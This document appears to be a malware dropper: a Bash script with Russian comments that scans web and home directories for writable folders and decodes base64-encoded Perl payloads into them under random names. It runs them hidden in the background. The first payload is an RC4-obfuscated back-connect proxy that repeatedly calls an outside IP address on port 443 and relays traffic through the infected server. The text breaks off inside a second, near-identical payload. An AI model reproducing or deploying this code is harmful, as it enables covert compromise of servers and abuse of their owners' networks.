#!/bin/bash trap '' SIGINT SIGTERM SIGHUP # ========================================================== # УНИВЕРСАЛЬНЫЙ ДЕПЛОЕР "FIRE-AND-FORGET" # - Поддерживает запуск бинарных файлов и Perl-скриптов # - Находит подходящие директории для развертывания # - Запускает компоненты под случайными именами # - Немедленно завершается # ========================================================== # ========================================================== # НАСТРОЙКИ # ========================================================== PAUSE_SECONDS=2 RANDOM_NAME_LENGTH=10 SEARCH_PATHS=("/var/www/" "/srv/" "/usr/share/nginx/" "/home/") MIN_DIR_DEPTH=4 # ========================================================== echo "[RUNNER] Запускаем сканирование системы на наличие подходящих директорий..." SHUFFLE_CMD="shuf" if ! command -v shuf &> /dev/null; then SHUFFLE_CMD="sort -R"; fi mapfile -t candidate_dirs < <(find "${SEARCH_PATHS[@]}" \ -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o -path '/run' -prune -o \ -mindepth "$MIN_DIR_DEPTH" -type d -writable -executable -print 2>/dev/null | $SHUFFLE_CMD) dir_count=${#candidate_dirs[@]} if [ "$dir_count" -eq 0 ]; then echo "[RUNNER] КРИТИЧЕСКАЯ ОШИБКА: Не найдено ни одной подходящей директории для развертывания. Выход." exit 1 fi echo "[RUNNER] Найдено $dir_count подходящих директорий. Начинаем развертывание компонентов..." echo "---" dir_index=0 first_run=true # --- НАЧАЛО ЗАПУСКА КОМПОНЕНТОВ --- if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 1 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #1 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #1 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 2 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj 